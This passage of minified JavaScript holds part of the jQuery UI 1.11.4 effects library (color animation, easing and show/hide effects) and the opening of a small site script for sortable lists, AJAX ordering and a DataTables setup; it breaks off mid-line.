textEmphasisColor\",r=/^([\\-+])=\\s*(\\d+\\.?\\d*)/,h=[{re:/rgba?\\(\\s*(\\d{1,3})\\s*,\\s*(\\d{1,3})\\s*,\\s*(\\d{1,3})\\s*(?:,\\s*(\\d?(?:\\.\\d+)?)\\s*)?\\)/,parse:function(e){return[e[1],e[2],e[3],e[4]]}},{re:/rgba?\\(\\s*(\\d+(?:\\.\\d+)?)\\%\\s*,\\s*(\\d+(?:\\.\\d+)?)\\%\\s*,\\s*(\\d+(?:\\.\\d+)?)\\%\\s*(?:,\\s*(\\d?(?:\\.\\d+)?)\\s*)?\\)/,parse:function(e){return[2.55*e[1],2.55*e[2],2.55*e[3],e[4]]}},{re:/#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})/,parse:function(e){return[parseInt(e[1],16),parseInt(e[2],16),parseInt(e[3],16)]}},{re:/#([a-f0-9])([a-f0-9])([a-f0-9])/,parse:function(e){return[parseInt(e[1]+e[1],16),parseInt(e[2]+e[2],16),parseInt(e[3]+e[3],16)]}},{re:/hsla?\\(\\s*(\\d+(?:\\.\\d+)?)\\s*,\\s*(\\d+(?:\\.\\d+)?)\\%\\s*,\\s*(\\d+(?:\\.\\d+)?)\\%\\s*(?:,\\s*(\\d?(?:\\.\\d+)?)\\s*)?\\)/,space:\"hsla\",parse:function(e){return[e[1],e[2]/100,e[3]/100,e[4]]}}],l=e.Color=function(t,i,s,n){return new e.Color.fn.parse(t,i,s,n)},u={rgba:{props:{red:{idx:0,type:\"byte\"},green:{idx:1,type:\"byte\"},blue:{idx:2,type:\"byte\"}}},hsla:{props:{hue:{idx:0,type:\"degrees\"},saturation:{idx:1,type:\"percent\"},lightness:{idx:2,type:\"percent\"}}}},c={\"byte\":{floor:!0,max:255},percent:{max:1},degrees:{mod:360,floor:!0}},d=l.support={},p=e(\"<p>\")[0],f=e.each;p.style.cssText=\"background-color:rgba(1,1,1,.5)\",d.rgba=p.style.backgroundColor.indexOf(\"rgba\")>-1,f(u,function(e,t){t.cache=\"_\"+e,t.props.alpha={idx:3,type:\"percent\",def:1}}),l.fn=e.extend(l.prototype,{parse:function(n,a,r,h){if(n===t)return this._rgba=[null,null,null,null],this;(n.jquery||n.nodeType)&&(n=e(n).css(a),a=t);var c=this,d=e.type(n),p=this._rgba=[];return a!==t&&(n=[n,a,r,h],d=\"array\"),\"string\"===d?this.parse(s(n)||o._default):\"array\"===d?(f(u.rgba.props,function(e,t){p[t.idx]=i(n[t.idx],t)}),this):\"object\"===d?(n instanceof l?f(u,function(e,t){n[t.cache]&&(c[t.cache]=n[t.cache].slice())}):f(u,function(t,s){var o=s.cache;f(s.props,function(e,t){if(!c[o]&&s.to){if(\"alpha\"===e||null==n[e])return;c[o]=s.to(c._rgba)}c[o][t.idx]=i(n[e],t,!0)}),c[o]&&0>e.inArray(null,c[o].slice(0,3))&&(c[o][3]=1,s.from&&(c._rgba=s.from(c[o])))}),this):t},is:function(e){var i=l(e),s=!0,n=this;return f(u,function(e,o){var a,r=i[o.cache];return r&&(a=n[o.cache]||o.to&&o.to(n._rgba)||[],f(o.props,function(e,i){return null!=r[i.idx]?s=r[i.idx]===a[i.idx]:t})),s}),s},_space:function(){var e=[],t=this;return f(u,function(i,s){t[s.cache]&&e.push(i)}),e.pop()},transition:function(e,t){var s=l(e),n=s._space(),o=u[n],a=0===this.alpha()?l(\"transparent\"):this,r=a[o.cache]||o.to(a._rgba),h=r.slice();return s=s[o.cache],f(o.props,function(e,n){var o=n.idx,a=r[o],l=s[o],u=c[n.type]||{};null!==l&&(null===a?h[o]=l:(u.mod&&(l-a>u.mod/2?a+=u.mod:a-l>u.mod/2&&(a-=u.mod)),h[o]=i((l-a)*t+a,n)))}),this[n](h)},blend:function(t){if(1===this._rgba[3])return this;var i=this._rgba.slice(),s=i.pop(),n=l(t)._rgba;return l(e.map(i,function(e,t){return(1-s)*n[t]+s*e}))},toRgbaString:function(){var t=\"rgba(\",i=e.map(this._rgba,function(e,t){return null==e?t>2?1:0:e});return 1===i[3]&&(i.pop(),t=\"rgb(\"),t+i.join()+\")\"},toHslaString:function(){var t=\"hsla(\",i=e.map(this.hsla(),function(e,t){return null==e&&(e=t>2?1:0),t&&3>t&&(e=Math.round(100*e)+\"%\"),e});return 1===i[3]&&(i.pop(),t=\"hsl(\"),t+i.join()+\")\"},toHexString:function(t){var i=this._rgba.slice(),s=i.pop();return t&&i.push(~~(255*s)),\"#\"+e.map(i,function(e){return e=(e||0).toString(16),1===e.length?\"0\"+e:e}).join(\"\")},toString:function(){return 0===this._rgba[3]?\"transparent\":this.toRgbaString()}}),l.fn.parse.prototype=l.fn,u.hsla.to=function(e){if(null==e[0]||null==e[1]||null==e[2])return[null,null,null,e[3]];var t,i,s=e[0]/255,n=e[1]/255,o=e[2]/255,a=e[3],r=Math.max(s,n,o),h=Math.min(s,n,o),l=r-h,u=r+h,c=.5*u;return t=h===r?0:s===r?60*(n-o)/l+360:n===r?60*(o-s)/l+120:60*(s-n)/l+240,i=0===l?0:.5>=c?l/u:l/(2-u),[Math.round(t)%360,i,c,null==a?1:a]},u.hsla.from=function(e){if(null==e[0]||null==e[1]||null==e[2])return[null,null,null,e[3]];var t=e[0]/360,i=e[1],s=e[2],o=e[3],a=.5>=s?s*(1+i):s+i-s*i,r=2*s-a;return[Math.round(255*n(r,a,t+1/3)),Math.round(255*n(r,a,t)),Math.round(255*n(r,a,t-1/3)),o]},f(u,function(s,n){var o=n.props,a=n.cache,h=n.to,u=n.from;l.fn[s]=function(s){if(h&&!this[a]&&(this[a]=h(this._rgba)),s===t)return this[a].slice();var n,r=e.type(s),c=\"array\"===r||\"object\"===r?s:arguments,d=this[a].slice();return f(o,function(e,t){var s=c[\"object\"===r?e:t.idx];null==s&&(s=d[t.idx]),d[t.idx]=i(s,t)}),u?(n=l(u(d)),n[a]=d,n):l(d)},f(o,function(t,i){l.fn[t]||(l.fn[t]=function(n){var o,a=e.type(n),h=\"alpha\"===t?this._hsla?\"hsla\":\"rgba\":s,l=this[h](),u=l[i.idx];return\"undefined\"===a?u:(\"function\"===a&&(n=n.call(this,u),a=e.type(n)),null==n&&i.empty?this:(\"string\"===a&&(o=r.exec(n),o&&(n=u+parseFloat(o[2])*(\"+\"===o[1]?1:-1))),l[i.idx]=n,this[h](l)))})})}),l.hook=function(t){var i=t.split(\" \");f(i,function(t,i){e.cssHooks[i]={set:function(t,n){var o,a,r=\"\";if(\"transparent\"!==n&&(\"string\"!==e.type(n)||(o=s(n)))){if(n=l(o||n),!d.rgba&&1!==n._rgba[3]){for(a=\"backgroundColor\"===i?t.parentNode:t;(\"\"===r||\"transparent\"===r)&&a&&a.style;)try{r=e.css(a,\"backgroundColor\"),a=a.parentNode}catch(h){}n=n.blend(r&&\"transparent\"!==r?r:\"_default\")}n=n.toRgbaString()}try{t.style[i]=n}catch(h){}}},e.fx.step[i]=function(t){t.colorInit||(t.start=l(t.elem,i),t.end=l(t.end),t.colorInit=!0),e.cssHooks[i].set(t.elem,t.start.transition(t.end,t.pos))}})},l.hook(a),e.cssHooks.borderColor={expand:function(e){var t={};return f([\"Top\",\"Right\",\"Bottom\",\"Left\"],function(i,s){t[\"border\"+s+\"Color\"]=e}),t}},o=e.Color.names={aqua:\"#00ffff\",black:\"#000000\",blue:\"#0000ff\",fuchsia:\"#ff00ff\",gray:\"#808080\",green:\"#008000\",lime:\"#00ff00\",maroon:\"#800000\",navy:\"#000080\",olive:\"#808000\",purple:\"#800080\",red:\"#ff0000\",silver:\"#c0c0c0\",teal:\"#008080\",white:\"#ffffff\",yellow:\"#ffff00\",transparent:[null,null,null,0],_default:\"#ffffff\"}}(b),function(){function t(t){var i,s,n=t.ownerDocument.defaultView?t.ownerDocument.defaultView.getComputedStyle(t,null):t.currentStyle,o={};if(n&&n.length&&n[0]&&n[n[0]])for(s=n.length;s--;)i=n[s],\"string\"==typeof n[i]&&(o[e.camelCase(i)]=n[i]);else for(i in n)\"string\"==typeof n[i]&&(o[i]=n[i]);return o}function i(t,i){var s,o,a={};for(s in i)o=i[s],t[s]!==o&&(n[s]||(e.fx.step[s]||!isNaN(parseFloat(o)))&&(a[s]=o));return a}var s=[\"add\",\"remove\",\"toggle\"],n={border:1,borderBottom:1,borderColor:1,borderLeft:1,borderRight:1,borderTop:1,borderWidth:1,margin:1,padding:1};e.each([\"borderLeftStyle\",\"borderRightStyle\",\"borderBottomStyle\",\"borderTopStyle\"],function(t,i){e.fx.step[i]=function(e){(\"none\"!==e.end&&!e.setAttr||1===e.pos&&!e.setAttr)&&(b.style(e.elem,i,e.end),e.setAttr=!0)}}),e.fn.addBack||(e.fn.addBack=function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}),e.effects.animateClass=function(n,o,a,r){var h=e.speed(o,a,r);return this.queue(function(){var o,a=e(this),r=a.attr(\"class\")||\"\",l=h.children?a.find(\"*\").addBack():a;l=l.map(function(){var i=e(this);return{el:i,start:t(this)}}),o=function(){e.each(s,function(e,t){n[t]&&a[t+\"Class\"](n[t])})},o(),l=l.map(function(){return this.end=t(this.el[0]),this.diff=i(this.start,this.end),this}),a.attr(\"class\",r),l=l.map(function(){var t=this,i=e.Deferred(),s=e.extend({},h,{queue:!1,complete:function(){i.resolve(t)}});return this.el.animate(this.diff,s),i.promise()}),e.when.apply(e,l.get()).done(function(){o(),e.each(arguments,function(){var t=this.el;e.each(this.diff,function(e){t.css(e,\"\")})}),h.complete.call(a[0])})})},e.fn.extend({addClass:function(t){return function(i,s,n,o){return s?e.effects.animateClass.call(this,{add:i},s,n,o):t.apply(this,arguments)}}(e.fn.addClass),removeClass:function(t){return function(i,s,n,o){return arguments.length>1?e.effects.animateClass.call(this,{remove:i},s,n,o):t.apply(this,arguments)}}(e.fn.removeClass),toggleClass:function(t){return function(i,s,n,o,a){return\"boolean\"==typeof s||void 0===s?n?e.effects.animateClass.call(this,s?{add:i}:{remove:i},n,o,a):t.apply(this,arguments):e.effects.animateClass.call(this,{toggle:i},s,n,o)}}(e.fn.toggleClass),switchClass:function(t,i,s,n,o){return e.effects.animateClass.call(this,{add:i,remove:t},s,n,o)}})}(),function(){function t(t,i,s,n){return e.isPlainObject(t)&&(i=t,t=t.effect),t={effect:t},null==i&&(i={}),e.isFunction(i)&&(n=i,s=null,i={}),(\"number\"==typeof i||e.fx.speeds[i])&&(n=s,s=i,i={}),e.isFunction(s)&&(n=s,s=null),i&&e.extend(t,i),s=s||i.duration,t.duration=e.fx.off?0:\"number\"==typeof s?s:s in e.fx.speeds?e.fx.speeds[s]:e.fx.speeds._default,t.complete=n||i.complete,t}function i(t){return!t||\"number\"==typeof t||e.fx.speeds[t]?!0:\"string\"!=typeof t||e.effects.effect[t]?e.isFunction(t)?!0:\"object\"!=typeof t||t.effect?!1:!0:!0}e.extend(e.effects,{version:\"1.11.4\",save:function(e,t){for(var i=0;t.length>i;i++)null!==t[i]&&e.data(_+t[i],e[0].style[t[i]])},restore:function(e,t){var i,s;for(s=0;t.length>s;s++)null!==t[s]&&(i=e.data(_+t[s]),void 0===i&&(i=\"\"),e.css(t[s],i))},setMode:function(e,t){return\"toggle\"===t&&(t=e.is(\":hidden\")?\"show\":\"hide\"),t},getBaseline:function(e,t){var i,s;switch(e[0]){case\"top\":i=0;break;case\"middle\":i=.5;break;case\"bottom\":i=1;break;default:i=e[0]/t.height}switch(e[1]){case\"left\":s=0;break;case\"center\":s=.5;break;case\"right\":s=1;break;default:s=e[1]/t.width}return{x:s,y:i}},createWrapper:function(t){if(t.parent().is(\".ui-effects-wrapper\"))return t.parent();var i={width:t.outerWidth(!0),height:t.outerHeight(!0),\"float\":t.css(\"float\")},s=e(\"<div></div>\").addClass(\"ui-effects-wrapper\").css({fontSize:\"100%\",background:\"transparent\",border:\"none\",margin:0,padding:0}),n={width:t.width(),height:t.height()},o=document.activeElement;try{o.id}catch(a){o=document.body}return t.wrap(s),(t[0]===o||e.contains(t[0],o))&&e(o).focus(),s=t.parent(),\"static\"===t.css(\"position\")?(s.css({position:\"relative\"}),t.css({position:\"relative\"})):(e.extend(i,{position:t.css(\"position\"),zIndex:t.css(\"z-index\")}),e.each([\"top\",\"left\",\"bottom\",\"right\"],function(e,s){i[s]=t.css(s),isNaN(parseInt(i[s],10))&&(i[s]=\"auto\")}),t.css({position:\"relative\",top:0,left:0,right:\"auto\",bottom:\"auto\"})),t.css(n),s.css(i).show()},removeWrapper:function(t){var i=document.activeElement;\r\nreturn t.parent().is(\".ui-effects-wrapper\")&&(t.parent().replaceWith(t),(t[0]===i||e.contains(t[0],i))&&e(i).focus()),t},setTransition:function(t,i,s,n){return n=n||{},e.each(i,function(e,i){var o=t.cssUnit(i);o[0]>0&&(n[i]=o[0]*s+o[1])}),n}}),e.fn.extend({effect:function(){function i(t){function i(){e.isFunction(o)&&o.call(n[0]),e.isFunction(t)&&t()}var n=e(this),o=s.complete,r=s.mode;(n.is(\":hidden\")?\"hide\"===r:\"show\"===r)?(n[r](),i()):a.call(n[0],s,i)}var s=t.apply(this,arguments),n=s.mode,o=s.queue,a=e.effects.effect[s.effect];return e.fx.off||!a?n?this[n](s.duration,s.complete):this.each(function(){s.complete&&s.complete.call(this)}):o===!1?this.each(i):this.queue(o||\"fx\",i)},show:function(e){return function(s){if(i(s))return e.apply(this,arguments);var n=t.apply(this,arguments);return n.mode=\"show\",this.effect.call(this,n)}}(e.fn.show),hide:function(e){return function(s){if(i(s))return e.apply(this,arguments);var n=t.apply(this,arguments);return n.mode=\"hide\",this.effect.call(this,n)}}(e.fn.hide),toggle:function(e){return function(s){if(i(s)||\"boolean\"==typeof s)return e.apply(this,arguments);var n=t.apply(this,arguments);return n.mode=\"toggle\",this.effect.call(this,n)}}(e.fn.toggle),cssUnit:function(t){var i=this.css(t),s=[];return e.each([\"em\",\"px\",\"%\",\"pt\"],function(e,t){i.indexOf(t)>0&&(s=[parseFloat(i),t])}),s}})}(),function(){var t={};e.each([\"Quad\",\"Cubic\",\"Quart\",\"Quint\",\"Expo\"],function(e,i){t[i]=function(t){return Math.pow(t,e+2)}}),e.extend(t,{Sine:function(e){return 1-Math.cos(e*Math.PI/2)},Circ:function(e){return 1-Math.sqrt(1-e*e)},Elastic:function(e){return 0===e||1===e?e:-Math.pow(2,8*(e-1))*Math.sin((80*(e-1)-7.5)*Math.PI/15)},Back:function(e){return e*e*(3*e-2)},Bounce:function(e){for(var t,i=4;((t=Math.pow(2,--i))-1)/11>e;);return 1/Math.pow(4,3-i)-7.5625*Math.pow((3*t-2)/22-e,2)}}),e.each(t,function(t,i){e.easing[\"easeIn\"+t]=i,e.easing[\"easeOut\"+t]=function(e){return 1-i(1-e)},e.easing[\"easeInOut\"+t]=function(e){return.5>e?i(2*e)/2:1-i(-2*e+2)/2}})}(),e.effects,e.effects.effect.blind=function(t,i){var s,n,o,a=e(this),r=/up|down|vertical/,h=/up|left|vertical|horizontal/,l=[\"position\",\"top\",\"bottom\",\"left\",\"right\",\"height\",\"width\"],u=e.effects.setMode(a,t.mode||\"hide\"),c=t.direction||\"up\",d=r.test(c),p=d?\"height\":\"width\",f=d?\"top\":\"left\",m=h.test(c),g={},v=\"show\"===u;a.parent().is(\".ui-effects-wrapper\")?e.effects.save(a.parent(),l):e.effects.save(a,l),a.show(),s=e.effects.createWrapper(a).css({overflow:\"hidden\"}),n=s[p](),o=parseFloat(s.css(f))||0,g[p]=v?n:0,m||(a.css(d?\"bottom\":\"right\",0).css(d?\"top\":\"left\",\"auto\").css({position:\"absolute\"}),g[f]=v?o:n+o),v&&(s.css(p,0),m||s.css(f,o+n)),s.animate(g,{duration:t.duration,easing:t.easing,queue:!1,complete:function(){\"hide\"===u&&a.hide(),e.effects.restore(a,l),e.effects.removeWrapper(a),i()}})},e.effects.effect.bounce=function(t,i){var s,n,o,a=e(this),r=[\"position\",\"top\",\"bottom\",\"left\",\"right\",\"height\",\"width\"],h=e.effects.setMode(a,t.mode||\"effect\"),l=\"hide\"===h,u=\"show\"===h,c=t.direction||\"up\",d=t.distance,p=t.times||5,f=2*p+(u||l?1:0),m=t.duration/f,g=t.easing,v=\"up\"===c||\"down\"===c?\"top\":\"left\",_=\"up\"===c||\"left\"===c,b=a.queue(),y=b.length;for((u||l)&&r.push(\"opacity\"),e.effects.save(a,r),a.show(),e.effects.createWrapper(a),d||(d=a[\"top\"===v?\"outerHeight\":\"outerWidth\"]()/3),u&&(o={opacity:1},o[v]=0,a.css(\"opacity\",0).css(v,_?2*-d:2*d).animate(o,m,g)),l&&(d/=Math.pow(2,p-1)),o={},o[v]=0,s=0;p>s;s++)n={},n[v]=(_?\"-=\":\"+=\")+d,a.animate(n,m,g).animate(o,m,g),d=l?2*d:d/2;l&&(n={opacity:0},n[v]=(_?\"-=\":\"+=\")+d,a.animate(n,m,g)),a.queue(function(){l&&a.hide(),e.effects.restore(a,r),e.effects.removeWrapper(a),i()}),y>1&&b.splice.apply(b,[1,0].concat(b.splice(y,f+1))),a.dequeue()},e.effects.effect.clip=function(t,i){var s,n,o,a=e(this),r=[\"position\",\"top\",\"bottom\",\"left\",\"right\",\"height\",\"width\"],h=e.effects.setMode(a,t.mode||\"hide\"),l=\"show\"===h,u=t.direction||\"vertical\",c=\"vertical\"===u,d=c?\"height\":\"width\",p=c?\"top\":\"left\",f={};e.effects.save(a,r),a.show(),s=e.effects.createWrapper(a).css({overflow:\"hidden\"}),n=\"IMG\"===a[0].tagName?s:a,o=n[d](),l&&(n.css(d,0),n.css(p,o/2)),f[d]=l?o:0,f[p]=l?0:o/2,n.animate(f,{queue:!1,duration:t.duration,easing:t.easing,complete:function(){l||a.hide(),e.effects.restore(a,r),e.effects.removeWrapper(a),i()}})},e.effects.effect.drop=function(t,i){var s,n=e(this),o=[\"position\",\"top\",\"bottom\",\"left\",\"right\",\"opacity\",\"height\",\"width\"],a=e.effects.setMode(n,t.mode||\"hide\"),r=\"show\"===a,h=t.direction||\"left\",l=\"up\"===h||\"down\"===h?\"top\":\"left\",u=\"up\"===h||\"left\"===h?\"pos\":\"neg\",c={opacity:r?1:0};e.effects.save(n,o),n.show(),e.effects.createWrapper(n),s=t.distance||n[\"top\"===l?\"outerHeight\":\"outerWidth\"](!0)/2,r&&n.css(\"opacity\",0).css(l,\"pos\"===u?-s:s),c[l]=(r?\"pos\"===u?\"+=\":\"-=\":\"pos\"===u?\"-=\":\"+=\")+s,n.animate(c,{queue:!1,duration:t.duration,easing:t.easing,complete:function(){\"hide\"===a&&n.hide(),e.effects.restore(n,o),e.effects.removeWrapper(n),i()}})},e.effects.effect.explode=function(t,i){function s(){b.push(this),b.length===c*d&&n()}function n(){p.css({visibility:\"visible\"}),e(b).remove(),m||p.hide(),i()}var o,a,r,h,l,u,c=t.pieces?Math.round(Math.sqrt(t.pieces)):3,d=c,p=e(this),f=e.effects.setMode(p,t.mode||\"hide\"),m=\"show\"===f,g=p.show().css(\"visibility\",\"hidden\").offset(),v=Math.ceil(p.outerWidth()/d),_=Math.ceil(p.outerHeight()/c),b=[];for(o=0;c>o;o++)for(h=g.top+o*_,u=o-(c-1)/2,a=0;d>a;a++)r=g.left+a*v,l=a-(d-1)/2,p.clone().appendTo(\"body\").wrap(\"<div></div>\").css({position:\"absolute\",visibility:\"visible\",left:-a*v,top:-o*_}).parent().addClass(\"ui-effects-explode\").css({position:\"absolute\",overflow:\"hidden\",width:v,height:_,left:r+(m?l*v:0),top:h+(m?u*_:0),opacity:m?0:1}).animate({left:r+(m?0:l*v),top:h+(m?0:u*_),opacity:m?1:0},t.duration||500,t.easing,s)},e.effects.effect.fade=function(t,i){var s=e(this),n=e.effects.setMode(s,t.mode||\"toggle\");s.animate({opacity:n},{queue:!1,duration:t.duration,easing:t.easing,complete:i})},e.effects.effect.fold=function(t,i){var s,n,o=e(this),a=[\"position\",\"top\",\"bottom\",\"left\",\"right\",\"height\",\"width\"],r=e.effects.setMode(o,t.mode||\"hide\"),h=\"show\"===r,l=\"hide\"===r,u=t.size||15,c=/([0-9]+)%/.exec(u),d=!!t.horizFirst,p=h!==d,f=p?[\"width\",\"height\"]:[\"height\",\"width\"],m=t.duration/2,g={},v={};e.effects.save(o,a),o.show(),s=e.effects.createWrapper(o).css({overflow:\"hidden\"}),n=p?[s.width(),s.height()]:[s.height(),s.width()],c&&(u=parseInt(c[1],10)/100*n[l?0:1]),h&&s.css(d?{height:0,width:u}:{height:u,width:0}),g[f[0]]=h?n[0]:u,v[f[1]]=h?n[1]:0,s.animate(g,m,t.easing).animate(v,m,t.easing,function(){l&&o.hide(),e.effects.restore(o,a),e.effects.removeWrapper(o),i()})},e.effects.effect.highlight=function(t,i){var s=e(this),n=[\"backgroundImage\",\"backgroundColor\",\"opacity\"],o=e.effects.setMode(s,t.mode||\"show\"),a={backgroundColor:s.css(\"backgroundColor\")};\"hide\"===o&&(a.opacity=0),e.effects.save(s,n),s.show().css({backgroundImage:\"none\",backgroundColor:t.color||\"#ffff99\"}).animate(a,{queue:!1,duration:t.duration,easing:t.easing,complete:function(){\"hide\"===o&&s.hide(),e.effects.restore(s,n),i()}})},e.effects.effect.size=function(t,i){var s,n,o,a=e(this),r=[\"position\",\"top\",\"bottom\",\"left\",\"right\",\"width\",\"height\",\"overflow\",\"opacity\"],h=[\"position\",\"top\",\"bottom\",\"left\",\"right\",\"overflow\",\"opacity\"],l=[\"width\",\"height\",\"overflow\"],u=[\"fontSize\"],c=[\"borderTopWidth\",\"borderBottomWidth\",\"paddingTop\",\"paddingBottom\"],d=[\"borderLeftWidth\",\"borderRightWidth\",\"paddingLeft\",\"paddingRight\"],p=e.effects.setMode(a,t.mode||\"effect\"),f=t.restore||\"effect\"!==p,m=t.scale||\"both\",g=t.origin||[\"middle\",\"center\"],v=a.css(\"position\"),_=f?r:h,b={height:0,width:0,outerHeight:0,outerWidth:0};\"show\"===p&&a.show(),s={height:a.height(),width:a.width(),outerHeight:a.outerHeight(),outerWidth:a.outerWidth()},\"toggle\"===t.mode&&\"show\"===p?(a.from=t.to||b,a.to=t.from||s):(a.from=t.from||(\"show\"===p?b:s),a.to=t.to||(\"hide\"===p?b:s)),o={from:{y:a.from.height/s.height,x:a.from.width/s.width},to:{y:a.to.height/s.height,x:a.to.width/s.width}},(\"box\"===m||\"both\"===m)&&(o.from.y!==o.to.y&&(_=_.concat(c),a.from=e.effects.setTransition(a,c,o.from.y,a.from),a.to=e.effects.setTransition(a,c,o.to.y,a.to)),o.from.x!==o.to.x&&(_=_.concat(d),a.from=e.effects.setTransition(a,d,o.from.x,a.from),a.to=e.effects.setTransition(a,d,o.to.x,a.to))),(\"content\"===m||\"both\"===m)&&o.from.y!==o.to.y&&(_=_.concat(u).concat(l),a.from=e.effects.setTransition(a,u,o.from.y,a.from),a.to=e.effects.setTransition(a,u,o.to.y,a.to)),e.effects.save(a,_),a.show(),e.effects.createWrapper(a),a.css(\"overflow\",\"hidden\").css(a.from),g&&(n=e.effects.getBaseline(g,s),a.from.top=(s.outerHeight-a.outerHeight())*n.y,a.from.left=(s.outerWidth-a.outerWidth())*n.x,a.to.top=(s.outerHeight-a.to.outerHeight)*n.y,a.to.left=(s.outerWidth-a.to.outerWidth)*n.x),a.css(a.from),(\"content\"===m||\"both\"===m)&&(c=c.concat([\"marginTop\",\"marginBottom\"]).concat(u),d=d.concat([\"marginLeft\",\"marginRight\"]),l=r.concat(c).concat(d),a.find(\"*[width]\").each(function(){var i=e(this),s={height:i.height(),width:i.width(),outerHeight:i.outerHeight(),outerWidth:i.outerWidth()};f&&e.effects.save(i,l),i.from={height:s.height*o.from.y,width:s.width*o.from.x,outerHeight:s.outerHeight*o.from.y,outerWidth:s.outerWidth*o.from.x},i.to={height:s.height*o.to.y,width:s.width*o.to.x,outerHeight:s.height*o.to.y,outerWidth:s.width*o.to.x},o.from.y!==o.to.y&&(i.from=e.effects.setTransition(i,c,o.from.y,i.from),i.to=e.effects.setTransition(i,c,o.to.y,i.to)),o.from.x!==o.to.x&&(i.from=e.effects.setTransition(i,d,o.from.x,i.from),i.to=e.effects.setTransition(i,d,o.to.x,i.to)),i.css(i.from),i.animate(i.to,t.duration,t.easing,function(){f&&e.effects.restore(i,l)})})),a.animate(a.to,{queue:!1,duration:t.duration,easing:t.easing,complete:function(){0===a.to.opacity&&a.css(\"opacity\",a.from.opacity),\"hide\"===p&&a.hide(),e.effects.restore(a,_),f||(\"static\"===v?a.css({position:\"relative\",top:a.to.top,left:a.to.left}):e.each([\"top\",\"left\"],function(e,t){a.css(t,function(t,i){var s=parseInt(i,10),n=e?a.to.left:a.to.top;return\"auto\"===i?n+\"px\":s+n+\"px\"})})),e.effects.removeWrapper(a),i()}})},e.effects.effect.scale=function(t,i){var s=e(this),n=e.extend(!0,{},t),o=e.effects.setMode(s,t.mode||\"effect\"),a=parseInt(t.percent,10)||(0===parseInt(t.percent,10)?0:\"hide\"===o?0:100),r=t.direction||\"both\",h=t.origin,l={height:s.height(),width:s.width(),outerHeight:s.outerHeight(),outerWidth:s.outerWidth()},u={y:\"horizontal\"!==r?a/100:1,x:\"vertical\"!==r?a/100:1};n.effect=\"size\",n.queue=!1,n.complete=i,\"effect\"!==o&&(n.origin=h||[\"middle\",\"center\"],n.restore=!0),n.from=t.from||(\"show\"===o?{height:0,width:0,outerHeight:0,outerWidth:0}:l),n.to={height:l.height*u.y,width:l.width*u.x,outerHeight:l.outerHeight*u.y,outerWidth:l.outerWidth*u.x},n.fade&&(\"show\"===o&&(n.from.opacity=0,n.to.opacity=1),\"hide\"===o&&(n.from.opacity=1,n.to.opacity=0)),s.effect(n)},e.effects.effect.puff=function(t,i){var s=e(this),n=e.effects.setMode(s,t.mode||\"hide\"),o=\"hide\"===n,a=parseInt(t.percent,10)||150,r=a/100,h={height:s.height(),width:s.width(),outerHeight:s.outerHeight(),outerWidth:s.outerWidth()};e.extend(t,{effect:\"scale\",queue:!1,fade:!0,mode:n,complete:i,percent:o?a:100,from:o?h:{height:h.height*r,width:h.width*r,outerHeight:h.outerHeight*r,outerWidth:h.outerWidth*r}}),s.effect(t)},e.effects.effect.pulsate=function(t,i){var s,n=e(this),o=e.effects.setMode(n,t.mode||\"show\"),a=\"show\"===o,r=\"hide\"===o,h=a||\"hide\"===o,l=2*(t.times||5)+(h?1:0),u=t.duration/l,c=0,d=n.queue(),p=d.length;for((a||!n.is(\":visible\"))&&(n.css(\"opacity\",0).show(),c=1),s=1;l>s;s++)n.animate({opacity:c},u,t.easing),c=1-c;n.animate({opacity:c},u,t.easing),n.queue(function(){r&&n.hide(),i()}),p>1&&d.splice.apply(d,[1,0].concat(d.splice(p,l+1))),n.dequeue()},e.effects.effect.shake=function(t,i){var s,n=e(this),o=[\"position\",\"top\",\"bottom\",\"left\",\"right\",\"height\",\"width\"],a=e.effects.setMode(n,t.mode||\"effect\"),r=t.direction||\"left\",h=t.distance||20,l=t.times||3,u=2*l+1,c=Math.round(t.duration/u),d=\"up\"===r||\"down\"===r?\"top\":\"left\",p=\"up\"===r||\"left\"===r,f={},m={},g={},v=n.queue(),_=v.length;for(e.effects.save(n,o),n.show(),e.effects.createWrapper(n),f[d]=(p?\"-=\":\"+=\")+h,m[d]=(p?\"+=\":\"-=\")+2*h,g[d]=(p?\"-=\":\"+=\")+2*h,n.animate(f,c,t.easing),s=1;l>s;s++)n.animate(m,c,t.easing).animate(g,c,t.easing);n.animate(m,c,t.easing).animate(f,c/2,t.easing).queue(function(){\"hide\"===a&&n.hide(),e.effects.restore(n,o),e.effects.removeWrapper(n),i()}),_>1&&v.splice.apply(v,[1,0].concat(v.splice(_,u+1))),n.dequeue()},e.effects.effect.slide=function(t,i){var s,n=e(this),o=[\"position\",\"top\",\"bottom\",\"left\",\"right\",\"width\",\"height\"],a=e.effects.setMode(n,t.mode||\"show\"),r=\"show\"===a,h=t.direction||\"left\",l=\"up\"===h||\"down\"===h?\"top\":\"left\",u=\"up\"===h||\"left\"===h,c={};e.effects.save(n,o),n.show(),s=t.distance||n[\"top\"===l?\"outerHeight\":\"outerWidth\"](!0),e.effects.createWrapper(n).css({overflow:\"hidden\"}),r&&n.css(l,u?isNaN(s)?\"-\"+s:-s:s),c[l]=(r?u?\"+=\":\"-=\":u?\"-=\":\"+=\")+s,n.animate(c,{queue:!1,duration:t.duration,easing:t.easing,complete:function(){\"hide\"===a&&n.hide(),e.effects.restore(n,o),e.effects.removeWrapper(n),i()}})},e.effects.effect.transfer=function(t,i){var s=e(this),n=e(t.to),o=\"fixed\"===n.css(\"position\"),a=e(\"body\"),r=o?a.scrollTop():0,h=o?a.scrollLeft():0,l=n.offset(),u={top:l.top-r,left:l.left-h,height:n.innerHeight(),width:n.innerWidth()},c=s.offset(),d=e(\"<div class='ui-effects-transfer'></div>\").appendTo(document.body).addClass(t.className).css({top:c.top-r,left:c.left-h,height:s.innerHeight(),width:s.innerWidth(),position:o?\"fixed\":\"absolute\"}).animate(u,t.duration,t.easing,function(){d.remove(),i()})}});","$(document).ready(function () {\n\n    $('#list-items').sortable({\n        axis: 'y',\n        update: function () {\n            var data_to_send = $('#list-items').sortable(\"serialize\");\n            $.ajax({\n                type: \"GET\",\n                dataType: \"JSON\",\n                url: \"order/ajax\",\n                data: data_to_send,\n            });\n            $('.load-page').fadeIn('fast');\n            location.reload();\n        }\n    });\n\n\n    $('form').submit(function () {\n        $('.load-page').fadeIn('fast');\n    });\n\n\n    $('div.msg-all').delay(3500).fadeOut('normal');\n\n    $('a#envia').click(function () {\n        $('.load-page').fadeIn('fast');\n    })\n\n\n    $('#datatabless').DataTable({\n        fnClearTable: 0,\n        iDefaultSortIndex: 0,\n        \"aaSorting\": [],\n        \"autoWidth\": true,\n        \"language\": {\n            //\"url\": 